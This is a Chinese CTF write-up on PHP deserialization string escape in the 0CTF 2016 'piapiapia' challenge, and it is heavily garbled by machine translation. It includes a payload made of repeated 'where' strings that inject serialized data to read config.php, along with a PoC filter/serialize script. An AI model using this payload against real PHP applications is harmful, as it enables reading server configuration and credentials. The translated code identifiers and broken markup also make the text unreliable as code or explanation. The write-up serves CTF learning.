PHP反序列化字符串逃逸的示例分析

  介绍

这篇文章将为大家详细讲解有关PHP反序列化字符串逃逸的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。

0周大福2016 piapiapia

<李>

由于是代码审计,直接访问www.zip <代码> 发现备份的源码,有一下文件,国旗就在<代码> config> class.php ,,,,,,,,//主要有mysql类(mysql基本操作)和用户类(继承mysql实现功能点)   config.php ,,,,,,,//环境配置   index.php ,,,,,,,,//登陆   profile.php ,,,,,,//查看自己上传的文件   register.php ,,,,,//注册   update.php ,,,,,,,//文件上传

<李>

然后分析代码,我喜欢通过功能点来分析,既然有注册,登陆,那么自然来看看<代码> SQL代码咯,发现<代码> class.php> mysql> <李>

后面就看看文件上,传发现也对上传的文件参数进行了限制,但是发现对文件进行了序列化处理,那么肯定有反序列化,在<代码> profile.php> 概要美元[& # 39;照片# 39;]进行读取。我们再回到文件上传点,发现<代码>概要美元[& # 39;照片# 39;]=& # 39;上传/& # 39;。md5($文件[& # 39;名字# 39;]);> 过滤器>

<李>

我们知道,PHP反序列化时以<代码>,作为分隔点,<代码>}> 概要美元[& # 39;照片# 39;]但是可以控制<代码>昵称> 昵称> strlen 函数却无法处理数组,因此用数组进行绕过即可我们在这里截断,那么后面的则会被废弃不再读取,而我们要构造的的有效载荷是,最开始的<代码>“;}> 昵称的<代码>{> ;}> “;}:5:“photo"销售:10:“config.php"}

这时构造了<代码>有效载荷> ,变成<代码> 黑客会增加一个长度,那么我们就需要34个<代码> ,最终载荷

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}: 5:“photo"销售:10:“config.php"}

& lt; php ?      function 过滤器(字符串),{   ,,,escape 美元;=,数组(& # 39;\ & # 39;& # 39;,,& # 39;\ \ \ \ & # 39;);   ,,,escape 美元;=,& # 39;/& # 39;,只内爆(& # 39;| & # 39;,,逃离美元),只& # 39;/& # 39;;   ,,,string 美元;=,preg_replace(逃离美元,,& # 39;_ # 39;,,美元字符串);      ,,,safe 美元;=,数组(& # 39;选择# 39;,,& # 39;插入# 39;,,& # 39;更新# 39;,,& # 39;删除# 39;,,& # 39;在# 39;);   ,,,safe 美元;=,& # 39;/& # 39;,只内爆(& # 39;| & # 39;,,安全的美元),只& # 39;/我# 39;;   ,,,return  preg_replace(安全、美元,& # 39;黑客# 39;,,美元字符串);   }      $ profile =,阵列(   ,,,& # 39;电话# 39;=祝辞& # 39;01234567890 & # 39;   ,,,& # 39;电子邮件# 39;=祝辞& # 39;12345678 @11.com& # 39;   ,,,& # 39;昵称# 39;=祝辞数组(& # 39;wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}年代:5:“photo";销售:10:“config.php";} & # 39;),   ,,,& # 39;照片# 39;=祝辞& # 39;上传/& # 39;.md5 (& # 39; 1. jpg # 39;)   );   print_r(序列化($));   echo  PHP_EOL;   print_r(过滤器(序列化(美元)));   echo  PHP_EOL;   var_dump (unserialize(过滤器(序列化(美元))));   echo  PHP_EOL;   ?在

PHP反序列化字符串逃逸的示例分析